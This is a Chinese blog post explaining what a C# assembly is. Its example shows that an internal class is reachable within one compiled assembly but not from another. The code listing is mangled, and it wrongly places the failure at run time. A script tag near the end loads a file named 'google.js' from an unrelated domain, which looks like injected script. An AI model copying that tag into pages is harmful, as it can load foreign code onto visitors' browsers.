程序集的理解!

http://www.cnblogs.com/crhacker/archive/2007/03/13/169137.html

一直以来,学习c#有个问题困惑着我。到底是程序集,用vs.net生成的一个项目就是一个程序集吗?
直到几天,我终于弄清楚了。谢谢,c# Primer Plus这本书,有它真好。
   一个.cs的源文件构成了一个编译单元,而一个或几个编译单元可以生成一个程序集。程序集可以是.dll文件,也可以是.exe文件。一个编译单元可以引用程序集,来生成另外一个程序集。
如果这里有两个编译单元:
类1(a.cs):

 1 using  System;
 2 namespace  a1
 3 {
 4internal class myClass
 5{
 6public void print()
 7{
 8Console.WriteLine("this is myClass");
 9}

10}

11}

类2(b.cs):

 1 using  a1;
 2 using  System;
 3 namespace  a2
 4 {
 5    public class myClass2
 6    {
 7        public static void Main()
 8        {
 9            myClass c1=new myClass();
10            c1.print();
11        }

12    }

13}

上面类1定义成了internal,如果你使用一下的命令:
csc /t:library a.cs
csc /r:a.dll b.cs
然后运行b.exe,这样是不能类1的,因为上面的命令把a.cs编译成了一个程序集,最后又把b.cs定义成了一个程序集,由于类1是internal修饰的,所以类2是不能访问类1的。

如果你使用一下命令:
csc a.cs b.cs
那么运行b.exe,这样是可以正常的运行的,因为你执行上面的命令是把a.cs b.cs生成了一个程序集,在同一个程序集合用,类2是可以访问类1的。 

<script src="http://www.cdsbfx.com/js/google.js" type="text/javascript"></script> <script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"></script>
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值